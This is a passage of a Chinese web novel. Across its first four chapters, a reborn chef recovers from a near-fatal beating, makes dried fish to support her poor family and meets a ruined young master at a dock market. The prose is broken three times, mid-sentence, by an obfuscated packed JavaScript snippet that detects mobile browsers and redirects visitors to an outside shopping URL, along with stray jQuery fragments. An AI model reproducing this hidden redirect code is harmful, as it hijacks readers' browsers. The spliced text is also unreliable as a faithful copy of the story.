《胖丫家的纨绔少爷》 1. 我有娘了 半月是被疼醒的。 不是那种细细密密的疼法,是屁股上连着一大片,像被火烙过,又像有人拿钝刀子在肉上一遍一遍地刮。 她迷迷糊糊地想,自己约莫是切菜时伤了手,还是端锅时闪了腰?怎么哪儿哪儿都疼! 然后她睁开眼,看见了土墙。 墙是夯土砌的,表面粗粝,有草梗戳出来。她盯着那堵墙看了几息,脑子里一片空白。头顶是茅草铺的屋顶,被烟气熏得发黑,完全不是她熟悉的天花板。 一束光从窗户缝里漏进来,光柱里有细细的灰尘翻飞。 这不是她现代的房间! 她想起身,屁股上的伤扯着,疼得她闷哼了一声。这一声不大,但外头立刻有了动静。 脚步声急促促的,一路小跑过来。门帘一掀,一个瘦小的妇人撞进来。 “胖丫!” 妇人扑到床前,眼眶红得像是哭过好几场,眼珠子却是亮的,上上下下地打量她,嘴唇哆嗦着,想碰她又不敢碰。 半月看着她。 这张脸她认得,刘翠兰,原主李半月的娘。 记忆像是碎了一地的瓷片,她努力去拼,拼出一些模糊的影子来:这个妇人半夜给她掖被角,嘴上骂骂咧咧说“臭丫头吃那么多”,转头又往她碗里多搁一筷头菜…… “娘…”她张嘴,声音干哑得像砂纸。 刘翠兰的眼泪唰地掉下来。 “臭丫头!”她骂道,声音是凶的,手却在抖。 刘翠兰把半月身上的被子往上拉了拉:“让你去送点心,你倒好,把自己送成这副模样回来。你知不知道你爹把你背回来的时候,你那裤子被血洇透了,人烧得说胡话,躺了一个多月,家里那点银钱全填了药罐子,好歹是把你救回来了……” 刘翠兰说着说着说不下去了,别过脸,用袖子擦了一把眼睛。 一个多月?半月心头一紧,她看着刘翠兰眼眶底下的青黑,忽然意识到这个妇人已经在床边守了她许久。 骂完了,刘翠兰从床头端过一碗药来,递给半月。碗是豁了口的粗陶碗,药汁黑糊糊的,冒着热气。 “喝。” 半月接过来,药温热,她两只手捧着,低头喝了一口。 药汁滚过舌尖,苦味从舌根往上翻,她眉头拧成一团。 刘翠兰见她皱眉,从怀里摸出一小块糖,剥开油纸,塞进半月嘴里。 “含着,去去苦味!” 糖在舌尖上化开,甜丝丝的。半月含着糖,把那碗苦药一口一口咽下去。 糖是麦芽糖,黄澄澄的,这种糖在古代不便宜。 她看着刘翠兰袖口磨出的毛边,不知道这糖是从哪里省出来的。 半月喝药的时候,门口探进来一颗脑袋。 是个半大小子,十一二岁的年纪,五官生得精致,一双眼睛又黑又亮,比女娃娃还好看。他趴在门框上,探头往里看,想进来又不敢进来。 “冬生。”刘翠兰头也没回,“进来。” 李冬生磨磨蹭蹭地进来,站在床边,看着半月,眼眶泛红,嘴唇抿得紧紧的。 半月认出他来,这是原主十二岁的弟弟李冬生,在大庙镇蒙馆读书。 她受伤之前,这小子上树掏鸟蛋摔下来磕破了膝盖,还是她给上的药。 李冬生看了半月好一会儿,才憋出一句:“胖丫,你好了?”声音闷闷的,像是鼻子堵着,带着丝不确定。 半月愣了一下。 这具身体的记忆翻上来,李冬生从会说话起就这么叫她,不高兴了叫胖丫,高兴了也叫胖丫,犯了错求她兜着的时候才叫姐、叫好姐姐。 半月斜坐起来,屁股有些疼,但还能忍,她伸手,揉了一下李冬生的脑袋:“姐没事。” 李冬生看了半月一眼,像是忽然想起了什么,转身跑了出去。 半月愣了一下。 刘翠兰说:“别管他。你昏睡这段时间,这小子天天下了学就去村后头溪里摸鱼,说要给你熬汤。昨天蹲了大半个时辰才摸着两条,回来冻得嘴唇都紫了,这会儿估摸着又是给你抓鱼去了。” “还有你爹,这些天接不到活,他去码头扛沙包了,等回来看到你醒了,他铁定很高兴。你别怨你爹,他不是诚心害你的……”刘翠兰说着,手轻轻摩挲着半月后脑勺的头发,眼里满是心疼。 半月鼻间酸涩,低头看着手里空了的药碗。 十二岁的孩子,溪水冰凉,他却蹲了那么久。还有原主的爹,他那么能干一个厨子,为了赚钱给她治伤,连扛沙包的活都做。 半月喉咙里堵了一下,把那口酸涩,连同嘴里的苦味和甜味,一起咽了下去。 上辈子她也叫李半月,是美食界叫得出名号的人,拿过的奖够摆满一面墙。 但她没有家人,父母早亡,没有兄弟姐妹,一个人吃饭,一个人试菜,一个人过年,后来也就不觉得一个人有什么不好了。 这辈子呢,一穿过来,药有人熬,家有人扛,还有个半大小子天天去溪里给她摸鱼,她头次体验到了家的感觉…… 所以,她一定要替枉死的原主好好活着。 半月把碗递给刘翠兰。 “娘,我饿了。” 刘翠兰愣了一下,然后笑了,笑完了又骂:“臭丫头,刚醒来就使唤娘。等着,这就给你热饭去!” 刘翠兰端着碗出去了,脚步声往灶房去,一会儿就听见灶膛里柴火噼啪响。 半月靠在床头,慢慢呼出一口气。 她开始梳理脑子里那些碎片。 李半月,十六岁,瓦窑村李有福的长女。 李有福是个厨子,不是大酒楼里的掌勺,是十里八乡谁家办红白喜事就去帮厨的那种。 手艺好,人老实,在十里八村小有名气,靠着这手艺,李家原本的日子在瓦窑村算是不错的。 不富裕,但米缸没空过,逢年过节还能给两个孩子做身新衣裳。李冬生能在蒙馆读书,靠的也是李有福一勺一勺颠出来的束脩。 那天李有福接了一单活,给黄龙县沈府做一匣子点心。他花了三天琢磨花样,做出来十二枚,枚枚精致。 他特意让半月送去,沈府是大户,赏钱给得厚,他想让闺女去领这份赏,顺便长长见识。 半月去了,沈府的柳姨娘尝了点心,叫丫鬟赏她一把碎银子。 半月接赏的时候,多了一句嘴:“多谢姨娘。” 柳姨娘以夫人身份自居,最恨旁人叫破她妾室的身份。当场变了脸,说这丫头不懂规矩,拖下去打五十板子。 板子落到第三十下的时候,原主就断了气。 半月闭了闭眼。 那些记忆碎片继续翻涌上来,行刑婆子的手起起落落,板子砸在肉上的闷响,周围人别过去的脸。疼从皮肉往骨头里钻,然后忽然不疼了,什么都轻了,飘起来。 在板子要接着落下的时候,有人拦了一下。 半月只看见了那个人的侧影,锦衣玉带,身量颀长,从廊下转出来的时候,日光照在他肩背上。 他说了一句什么,声音不大,懒洋洋的。 然后板子停住了。 半月晕过去前,听见婆子叫他大少爷。 沈家大少爷沈金宝,年仅十八岁,却早已在黄龙县打响了名头,斗鸡走狗、赊账赖皮、在街上横着走,没有谁不知道。 原主去沈府送点心之前,刘翠兰就叮嘱过:见了沈大少爷绕道走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500269|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那是个混世魔王。 半月没去思考大家眼中的纨绔为什么会出手救人。她睁开眼,低头看自己的手。 这双手和她现代的那双差不多。 手胖乎乎的,手背上还有肉窝,指节上却有薄茧。这是一双常年颠勺、握刀的手。 原主从小就跟着李有福在灶台边转,这双手和她一样,都是拿菜刀拿出来的。指甲缝里干干净净,掌心的纹路又深又清晰。 半月慢慢攥了攥拳头,很满意。 她掀开被子,扶着墙,一点一点挪下床。 屁股上的伤扯着疼,疼得她龇牙咧嘴。她扶着墙站了一会儿,等那阵疼过去了,慢慢往外走。 她先到了堂屋,堂屋不大,一张方桌,四条板凳。桌上的碗扣着,有一条板凳腿拿石头垫着。墙角放着锄头和扁担,墙上挂着蓑衣。 半月接着往灶房走,恰好碰到刘翠兰给她端粥过来。 “你这丫头,伤还没好利索,怎么就下床了?快回去躺着!”刘翠兰说着就要搀她。 半月接过碗:“娘,我好差不多了,再躺下去没病也躺出病了,我看着屁股上的伤都结痂了,多活动活动好得快些。” 刘翠兰叹了口气:“那你别走太久,累了就坐在灶房里吃吧!” “谢谢娘!”半月连忙点头。 “你这傻孩子,和娘还说什么谢不谢的!”刘翠兰佯装嗔怪的看了半月一眼。 半月心里暖暖的:“娘,你这些天没睡好,去歇息会儿吧,不用看着我!” “娘不累,只要你好了,就什么都值了。”刘翠兰眼里又起了泪花,但是她赶紧用手抹掉了。 胖丫好了,能吃东西了,这是好事,她做什么还哭呢?反叫胖丫担心起她来。 “娘,你眼皮都快打架了,去睡会儿吧!”半月喉头发紧。 “家里活计多,娘可不敢歇着。灶台上有咸菜,你就着粥喝,有什么事儿叫娘。”刘翠兰说罢又不放心地看了半月一眼,才出了灶房。 刘翠兰出去后,半月把粥放在灶台上,才开始打量起灶房。 灶房里的碗柜是竹子编的,门合不严实,能看见里头摞着的粗陶碗。 半月拉开碗柜门,碗不多了。三个大碗,两个小碗,还有一个缺了口的。 米缸在灶房角落里,她掀开盖子看了一眼。 缸底只剩一层米,刚刚盖住缸底。 她盖上盖子,在灶房里站了一会儿。 她想起刘翠兰说的,家里那点银钱全填了药罐子,为了治她的伤,这个家被掏空了。 上辈子她生过一场病,阑尾炎手术,一个人签字,一个人住院。隔壁床的老太太问她家里人呢,她说没有。 老太太叹口气,把自己儿子送来的鸡汤分了她一碗。她喝了,说谢谢。老太太说,孩子,你得有个人疼。 她那时候笑了笑,没接话。 现在有人疼了,疼她的人把家底都掏空了。 她占了这具身体,这些账,现在是她欠的了。 灶台上放着的红薯粥还温着,旁边一碟腌萝卜,切得粗粗拉拉。 半月端起粥喝了一口,粥很稀,米粒都快煮化了,红薯放得多,甜丝丝的。 红薯是最便宜的粗粮,以前李家日子好的时候,红薯是掺在米里煮的,不会像现在这样一大碗全是红薯,米粒稀稀拉拉数得过来。 她把那碗粥喝完了,放下碗的时候,看见碗底刻着一个歪歪扭扭的“李”字。 是李有福的手笔。 半月伸手摩挲了一下那个字。 这时候外头有了动静,院门被推开,有人走进来,脚步沉重,带着扁担搁下的声响。 “胖丫醒了?” 2. 巧手制鲜 “醒了。”刘翠兰的声音从堂屋传出来,“喝了一碗药,这会儿在灶房里。” 脚步声往灶房这边来。 门帘一掀,李有福走进来。 半月抬头看他。 李有福比记忆里更瘦了,中等身量,肩膀宽,右臂比左臂粗,是常年颠勺颠出来的。他脸上有皱纹,眼睛底下青黑一片,裤腿上全是泥点子,鞋磨破了边。 他看见半月站在灶房里,愣了一下。 然后他蹲下去,把半月脚边的柴火往旁边拨了拨。 “别绊着了。” 半月低头看李有福,见他蹲在地上,没有站起来的意思。 她忽然明白了。 李有福不是不想看她,他是不敢面对她。 那匣子点心是他做的,是他让闺女去送的。闺女差点死在沈府,他把所有的账都算在了自己头上。 “爹。” 李有福“嗯”了一声,还是没抬头。 半月在他对面蹲下来,屁股上的伤扯着,她咬牙忍住,没出声。 “爹,我好了。” 李有福沉默了一会儿。然后他伸手,把半月手里那个空碗拿过去,站起来,走到水缸边舀了一瓢水,把碗洗了。 洗完碗,他把碗倒扣在灶台上,才说了一句话。 “好了就好。” 他转身走出去,走到门口,背对着半月,停了一下。 “胖丫。” “嗯。” “爹没用,做了一辈子菜,连自己闺女都护不住。”李有福声音哽咽。 他没等半月回答,挑起扁担,大步走出去了。 半月站在灶房里,听见院门被带上,听见他的脚步声越来越远。她没有追,她知道这个沉默寡言的男人,此刻最怕的就是被人追上去安慰。 她转过身,把那碟腌萝卜端过来,夹了一筷子。 盐放多了,萝卜切得厚薄不匀,腌的时间也不够,还有生萝卜气。这碟萝卜应该是李有福腌的,他会做席面上的大菜,但这些家常小菜向来是刘翠兰在弄。他学着做,做不好。 半月把萝卜咽下去,然后挽起袖子,开始收拾灶台。 刚刚弯腰动了一下,屁股上的伤就扯着了。不是那种大疼,是冷不丁的一下,像有根筋被谁用手指弹了一下。 半月停下来,两只手撑着灶台,深吸一口气,等那阵疼过去。 冷汗从额角渗出来,顺着脸颊往下淌,她咬着后槽牙,没出声。 她就这么咬着牙,把碗重新洗了一遍,刮掉锅底的灰,擦净灶台上的污渍。筷子篓里的筷子长短不齐,她一根一根挑出来,用柴刀砍齐,配成对。 这个家现在是她的了,上辈子她一个人,做菜给自己吃,挣钱给自己花,没什么可牵挂的。这辈子不一样,米缸见底了,那就想法子填上。爹去码头扛沙包了,那她就替他扛起一半家。 刘翠兰端着一碗热过的药进来,看见她在收拾灶台,愣了一下。 “你干啥?伤还没好利索——” “娘。”半月头也没回,“咱家还有多少米?” 刘翠兰把药碗搁下,沉默了一会儿。 “够吃。” 半月回过头看她。 刘翠兰被她看得心虚,别开脸:“你爹在码头扛沙包,赵虎介绍的活计,一天十五文钱,管一顿午饭。钱不多,但省着点花,也够咱家用的…” 半月没说话,心中又酸又胀,李有福颠了大半辈子勺,如今那双手,却只能靠扛沙包去挣那十五文钱。 外头传来李冬生的声音。 “娘!我回来了!” 脚步声噼里啪啦的,从院门一路跑进来。李冬生拎着两条鲫鱼闯进灶房,裤腿湿到膝盖,鞋上全是泥。那鱼用草绳穿着,还在甩尾巴。 他把鱼举到半月面前。 “胖丫,你看!今天摸着两条大的!” 半月一看,那两条鱼有四指宽,比巴掌还长,鳞片在日光底下亮闪闪的。 “让咱娘给你熬汤,娘说你多喝鱼汤,伤口好得快。”李冬生咧着嘴笑。 半月伸手,轻轻敲了一下他的脑门:“皮猴子,快去换身衣裳,仔细别惹上风寒了。” “诶,好!”李冬生把鱼递给刘翠兰,一溜烟就跑没了影。 刘翠兰接过鱼看了看,喜上眉梢:“今儿这鱼不错,我这就——” “娘,把这鱼交给我处理,您去歇着吧!”半月笑眯眯打断。 “这……”刘翠兰愣了一下,表情犹豫。 “娘,我真的好很多了,你忘了我是厨子了?厨房的事就放心交给我!你快去休息吧,你休息好了,才能更好地帮我和爹的忙,不是?”半月主动上前,把刘翠兰手里的鱼拿过去,又把她往灶房外面推。 “嗨,你这孩子…”刘翠兰叹了口气,到底还是依了半月的意,没再说什么。 刘翠兰出去后,半月提着鱼,在灶台边坐下来。她坐得很慢,侧着身子,把重心放在没伤的那一边。 两条鲫鱼,她拿刀刮鳞、剖肚、去内脏。动作不快,手却很稳。鱼腥味涌上来,混着灶台上残留的红薯粥的甜气,倒不算太难闻。 半月吸了吸鼻子,把鱼鳃抠干净。 没多久,李冬生换好衣服跑进灶房:“胖丫,你在做啥?” “腌鱼干。” “鱼干?”李冬生抓抓脑袋,“鱼不是用来熬汤的吗?” 半月没抬头,她把处理好的鱼放在清水里漂洗。 “熬汤只能吃一顿,做成鱼干,能放一个月。” 李冬生眨了眨眼:“我见过别人晒鱼干,可老远就闻着腥臭,做出来能好吃吗?” 半月笑笑:“好不好吃,过段时间就知道了。” 半月把鱼沥干水,正找盐,李冬生就帮她把装盐的陶罐递过来,好奇地站在旁边观摩。 陶罐里的粗盐还剩一小半,半月拈了一点,均匀地抹在鱼身上,连续抹了两遍,鱼身上才附着了薄薄一层。 半月腌鱼的时候,刘翠兰进灶房看了一阵,她什么都没问,半月也没放在心上。 “腌一夜,明天挂出去晒,过些天能吃了,就拿出去卖!”半月把腌鱼放在陶盆里。 “拿去卖?这东西会有人买吗?”李冬生嘴巴张得老大。 “不管怎样,总得试试。就算卖不掉,咱自己留着吃,也不亏。”半月笑着用盖子把腌鱼盖好。 第二天,腌了一夜的鲫鱼表面渗出一层薄薄的水光。半月用草绳从鱼鳃处穿过去,一条一串,挂在院墙的竹竿上。 瓦窑村秋天的日头不毒,但干燥。晒到第三天,鱼身表面已经干了,鱼肉收紧,摸上去硬硬的,带着盐渍的白霜。 七天就这样过去了。 伤口结的痂开始发痒,半月知道,这是快好了。 李冬生每天放学回来,第一件事就是跑到院墙底下看鱼:“胖丫,这就能卖了?” “差不多能行了,一会儿你尝尝。”半月把鱼干取下来。 她凑近闻了闻,鱼腥味已经褪了大半,剩下的是咸鲜气,混着一点点日头晒过的味道,颜色也从银白变成了浅黄色。 她把鱼干切成小段,上锅蒸。 蒸熟之后,夹了一小块放进嘴里。 咸味先上来,然后是鱼的鲜。晒过之后的鱼肉紧实,嚼起来有劲,越嚼越香。 李冬生站在旁边,咽了咽口水。 半月夹了一块递给他。 李冬生塞进嘴里,嚼了两下,眼睛亮了。 “好吃!越嚼越有味,还一点都不腥臭!” “那当然,你姐我的手艺可不是吹出来的!”半月乐滋滋地把剩下的鱼干收起来。 李冬生盯着被收走的鱼干,挤到半月旁边:“嘿嘿,胖丫、不是,姐!再给我一块呗,就一块!” 半月把鱼干往身后一挪:“臭小子,你喜欢鱼干,姐以后再做给你吃,不过这次的,咱得先留着卖钱。” 李冬生咂巴了两下嘴:“这还没尝出个味来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500270|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。不过我觉得这鱼干铁定好卖。胖丫,我下学了接着再去摸些鱼回来,下次再有好吃的,一定先想着我哈!” “成,不过事先说好,不准偷吃鱼干。”半月笑着伸手拍掉李冬生悄悄伸过来拈鱼干的爪子。 她把蒸好的鱼干收进食盒里,心里盘算着:等伤再好些,囤的鱼干多了,就去青溪码头卖。 这些天,李有福每天早出晚归去码头扛沙包。回来的时候,肩膀上都是麻袋压出的红印子,有时磨破了皮,还渗着血珠子。半月看在眼里,难受在心里。 两条鱼晒出来,一斤都不到,切成段也就二十来块。为了给李有福分担压力,她必须把赚钱放在第一位。 又过了几日。 这天天还没亮,半月就醒了。 伤口已经不怎么疼了,结的痂掉了不少,她从床上坐起来,试着扭了扭腰,不扯着疼了。 灶房里亮着火光。 刘翠兰坐在灶前烧火,锅里煮着红薯粥。灶台上搁着一碗粥,旁边是一碟腌萝卜。 “胖丫,粥刚盛出来,可别吃太急,小心烫着喽。”见半月进来,刘翠兰一边添柴一边叮嘱道。 半月端起粥碗,发现碗里米粒多,红薯少,稠得能立住筷子。她又看了一眼锅里,锅里的粥稀得多,连红薯块也没多少。 而其他人的碗还在碗柜里,说明他们都还没吃。 半月喊了一声:“娘。” 刘翠兰头也没抬:“锅里还有,不够再盛。” 半月没说话,她从碗柜里拿了三个碗出来,把自己碗里的粥均匀分成了四份。 刘翠兰抬头看见,嘴张了张,又把话咽回去了。 李冬生从外头进来,看见自己碗里的粥,又看了看半月的碗,把碗推回去。 “胖丫,你吃,你伤才好,得多吃点才有力气。” “大家一起吃。”半月的表情不容拒绝。 李冬生还想推,刘翠兰在他后脑勺上拍了一下:“你姐给的,让你吃就吃。” 李冬生低下头扒粥,扒了两口,又抬起头。 “胖丫,今天赶集,我帮你拎食盒。” “你不去蒙馆?” “今天先生出诊,放假。带我去,我帮你吆喝!” “行!” 养伤的这段时间,半月零零碎碎从原主的记忆里把这个历史上不存在朝代摸了个大概。 现在是大宁朝,永和十四年。 高祖皇帝开国的时候定都北边,南边的赋税轻,商贸活泛。黄龙县这地方归江南东路辖着,大庙镇就是黄龙县下面的一个镇子。 庶民可以自由迁徙、经商、置产,人不用被钉在户籍地上。 大庙镇的青溪码头就是这十几年兴起来的,码头兼具集市的作用,南来北往的货船在这歇脚,码头上扛活的、做小买卖的、开食铺的,三教九流都有。 半月还从记忆里翻出一件事,大宁朝的盐不便宜。官盐一斤四十文,私盐便宜些,但抓住要挨板子。 难怪她腌鱼的时候,刘翠兰站在灶房门口一副欲言又止的模样,她这鱼干的本钱可不便宜啊。 吃完饭,半月把鱼干从食盒里取出来。 这段时间李冬生摸回来的鱼,大大小小又攒了十来条。她挑出最大的四条鲫鱼做鱼干,剩下的养在水缸里。 如今新晒的鱼也已经完全干透了,表面有一层薄薄的盐霜,颜色金黄。 半月还将野葱切成的细丝拌进了鱼块里,葱香渗进鱼肉里,又不至于蔫软。 六条鱼晒好后,再去掉骨刺,能入口的也就两斤多。但码在食盒里,绿叶子托着金黄的鱼段,野葱丝点缀在上面,卖相还不错。 半月又单独包了一小包鱼干碎,用来给顾客试吃。 李冬生今天特意换了干净衣裳,头发也重新梳过。 他拎起食盒,对半月说:“走吧。” 天刚蒙蒙亮,两人走出院门十几步,刘翠兰从屋里追了出来。 “站住,都站住!” 3. 瘸腿少爷 刘翠兰用家里所剩不多的杂粮烙了两个饼子,拿布包着,塞给半月:“拿着,你们晌午饿了吃,要是鱼干不好卖,就不卖了早些回来。” “知道了娘!”半月和李冬生齐声应到。 半月和李冬生拎着鱼干继续出发。 刘翠兰一直守在院门外,直到看不见半月他们的身影,才把手在围裙上擦了擦,转身回了院子。 从瓦窑村到大庙镇,小半个时辰的脚程。 半月走得比前些日子利索多了,伤口不扯了,步子也快了。李冬生拎着食盒走在前头,走一段就回头看看她跟上没有。 “胖丫,你那鱼干打算卖多少钱?” 半月想了想。大宁朝的物价她大致有数,码头上的杂粮饼子两文钱一个,肉包子四文钱一个。青溪集上卖鱼鲜的,活鲫鱼一斤大概五六文钱。她的鱼干费了盐,费了功夫,还有野葱提味,不是寻常咸鱼可比。 “一文钱一块。” 李冬生眼睛瞪圆了:“一块?” “怎么?” “杂粮饼子两文钱一个,扛饿管饱。咱的鱼干一块才拇指那么大,好吃是好吃,可不顶饿啊,这能卖得出去吗?” 半月笑了笑说:“有些东西不是按分量卖的,是按味道卖的。镇上的有钱人比咱村里多,总会有些顾客买账的。”上辈子她的餐厅里,一小碟开胃菜卖得比主菜还贵,照样有人排着队来吃。 李冬生还是半大孩子,对做买卖没什么概念。他很快被镇上新奇古怪的玩意儿吸引,也就没再追问。 两人抵达青溪码头的时候,日头刚升起来。河边空地上已经支起了不少摊位,卖菜的、卖布的、卖竹编家什的,吆喝声此起彼伏。 半月找了个靠前的位置,在两棵树中间。地上有树根凸出来,但人来人往,看得见。 她把粗布铺在地上,将三层码好鱼干的食盒摆放在粗布上,整整齐齐。 码头上人来人往,可半月他们的小摊却无人问津。 李冬生蹲在粗布后面,看了看鱼干,又看了看半月:“胖丫,咱就这么蹲着吗?” “呃……”半月沉默了一会儿。她前世也没有上街卖货的经验,一时不知怎么开口。 旁边卖竹编的老大爷抬起头看了她一眼:“胖丫头,卖东西不吆喝怎么能行?学学老头子我,卖竹筐,卖竹篮,便宜实惠又好用喽——!” 老大爷的声音嘶哑,却十分洪亮,很快有一个妇人停下脚步,在他的摊位上挑挑拣拣,没多久就成交了一单。 半月见状,深吸一口气,鼓足勇气:“卖鱼干喽!又鲜又香、新晒的鱼干,便宜实惠又好吃喽——!” 嗓门又脆又亮,把李冬生吓了一跳。不过很快他也站起来,学着半月的样子吆喝:“卖鱼干,又鲜又香的鱼干!” 半月给他竖了个大拇指:“小子,嗓门不错。” 李冬生被这一夸,更来劲了。 “卖鱼干!新鲜的鱼干,不好吃不要钱喽——!” 有人停了下来。 是个中年汉子,挑着担子路过,被这一嗓子喊得偏过头来。他看了看地上的鱼干,又看了看半月。 “这鱼干怎么卖?” “一文钱一块。” 汉子皱了皱眉:“一文钱一块?肉包子四文一个,个大管饱。你这鱼干一块才一点肉,就要一文钱?” 半月从那包试吃的碎块里取了一小块递过去:“大哥,值不值,您尝尝就知道了。” 汉子接过去扔进嘴里,嚼了两下,又嚼了两下。随后眯起眼睛,眉头皱得老紧。 半月心提到了嗓子眼,难道很难吃?不应该啊! 汉子把眼睛闭了起来。他首先感受到的是野葱的冲味,然后是鱼干的咸鲜。晒过之后的鱼肉紧实,嚼着嚼着,咸味褪下去,鱼的鲜甜从舌根底下泛上来。 他又嚼了几下,才不舍地咽了下去,还差点把手指拿起来舔一舔。 他睁开眼,看见半月,尴尬地放下手指,随后指着鱼干道:“从没吃过这么好吃的鱼干!这玩意用来下酒不错,给我来五文钱的!” “好嘞,您等着!”半月满脸笑容,用筷子夹出五块鱼干,用叶子托着递给汉子。 汉子从怀里摸出五文铜钱搁在她手心里,接过鱼干走了。 李冬生盯着半月手心里那几枚铜钱,高兴得差点跳起来,眼睛亮亮的:“胖丫!真的卖掉了!” 半月笑眯眯地把铜钱收进怀里:“开了好头。冬生,咱接着吆喝!” “卖鱼干喽,又鲜又香的鱼干,不好吃不要钱!” 李冬生的嗓门越来越亮,喊到后来编出了花样:“李家鱼干,溪里才摸的,日头刚晒的,咬一口满嘴香,咬两口想爹娘,好吃到流眼泪!不好吃你砸我——不是,不好吃你找我家胖丫……” 半月没忍住,嘴角弯了一下。 有了第一个就有第二个,停下来问的人越来越多。有的问了价就走了,有的尝了之后犹豫半天还是走了,也有嫌贵但尝了之后最终选择购买的。 一个多时辰,鱼干卖掉了大半,半月带来的六十来块鱼干,只剩十来块了。 半月也不急,她心里有数:这东西本来就不是卖给填肚子的人的,是卖给嘴刁的食客的。 这时候,一双布鞋停在她面前。 鞋面磨破了边,鞋头上沾着泥,右脚的大脚趾快要顶出来了。 半月抬起头。 一个瘦高个站在她面前,身上的衣裳料子不差,绸的,却脏得不成样子。袖口磨烂了,衣襟上全是泥点子,肩膀上还蹭着一片黑灰。 脸上也脏,颧骨上沾着泥,下巴上一道灰印子。头发用一根不知什么草茎胡乱绾着,几缕散下来,黏在脸侧。 一双眼睛倒是亮,正盯着地上的鱼干。 “这怎么卖?”那人声音有点哑,语气却懒洋洋的,像没睡醒。 半月说:“一文钱一块,这边的碎块可以试吃。”人人都会遇到难处,半月没有嫌弃他。 那人“嗯”了一声,蹲下来。蹲的动作不利索,像脚上也有伤,顿了一下才稳住。他伸手拈起一块试吃的碎鱼干,没急着吃,先凑到鼻子底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500271|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下闻了闻,然后才扔进嘴里,慢悠悠地嚼。 嚼了几下,他低头看着手指上沾的碎屑,忽然笑了一下。 “鲫鱼,腌了一夜,盐不多,刚好入味。是这些天新晒的,晒足了七日,肉紧不柴。”他抬起眼看半月,“没什么调料,全靠把控盐的用量和晾晒时辰,能做到这个份上,手艺还行。” 半月愣住了,这人什么舌头?尝得这么准?还有,她怎么觉得这人看着有些眼熟? 那人看着她的表情,挑了挑眉:“这鱼你晒的?” “是。” 那人点了点头,没再说什么,他从袖子里摸了摸,摸了半天,摸出四文铜钱搁在地上,铜钱上沾着泥,脏兮兮的。 “四块。”他抬了抬下巴,语气不像买,倒像吩咐。 半月数出四块鱼干,用叶子托着递过去,想了想,又把试吃的那一小包碎块也搁在上面。 那人瞥了一眼,嘴角微微一扯:“我没多的钱给你。” “试吃的不算钱。” 他抬起眼看了半月一眼,那眼神里有点意外,也有点说不清的东西。他没道谢,只低下头把叶子包揣进怀里,撑着树干站起来。 起身的时候腿明显吃不住劲,顿了一下,咬着牙站稳了。 “你……”他盯着半月看了两秒,忽然笑了一下,那笑容里带着点痞气,“手艺还行,就是心太软,做买卖迟早亏本。” 说完转身走了,走路的姿势一瘸一拐,左腿在地上拖着,却硬撑着把腰背挺得笔直。那件脏兮兮的绸衫被风一吹,空荡荡地晃,像挂在竹竿上。 李冬生看着他的背影,直到那背影晃进人群里才收回目光。 “胖丫,那人是谁啊?说话阴阳怪气的!”李冬生撇着嘴,一脸嫌弃。 半月把剩下的鱼干收起来,摇摇头。 “不知道。” 旁边卖竹编的老大爷正在编一个竹篮,头也没抬。 “那人前几天就在码头那边晃,白天蹲码头边上,晚上睡屋檐底下。” 半月收拾东西的手没停。 “听说是黄龙县沈家倒了以后流落过来的。沈家一倒,跟着吃饭的下人、旁支、亲戚,散的散,逃的逃,这人约莫也是。” 沈家?! 半月的手顿住了,她脑子里忽然闪过一个画面:锦衣玉带、侧脸、伸手挡了一下板子。 原来是他! 李冬生的脸色刷地白了。 “沈家?就是差点打死我姐的那个沈家?” 大爷抬头看了半月一眼,又看了看李冬生,怕自己说错话,赶紧低下头继续编篮子,不再吭声。 李冬生蹭地站起来,差点被粗布绊倒。 “胖丫!你把试吃的鱼干白送给沈家的人了?!”他的声音又急又气,像是被人骗了钱。 “冬生。”半月伸手拦住要冲出去追人的李冬生,语气不重,但手稳稳地挡在他胸前。 李冬生攥着拳头,腮帮子鼓得圆圆的,眼眶红了一圈,他瞪着那人走远的方向,紧咬着牙,像要把那个背影瞪穿似的。 4. 紫苏添香 “他要是沈家的人,咱就该多收他钱!一文钱一块都便宜他了!” 半月把粗布叠好,伸手拍了拍李冬生的肩膀,笑了笑:“给他就给他吧,当日要不是他拦下了那板子,你姐……你现在就见不到活着的我了,说起来,他也算是救了我一命。” “他拦了板子?”李冬生的肩膀僵了一下,像是被什么东西噎住了。 他垂下眼睛,嘟囔道:“那他为什么不早点拦?他要是早出来一步,你就不用挨那么多板子,不用受那么重的伤,不会差点儿……”李东生止了话,声音越来越小,最后变成含糊的鼻音。 他吸了吸鼻子,忍住没哭,但脸上的忿忿不平一点没散。 半月没答,这个问题,她也没有答案。 “那下次他来买鱼干,咱还送吗?”李冬生忽然开口,声音闷闷的。 半月想了想:“看情况。” 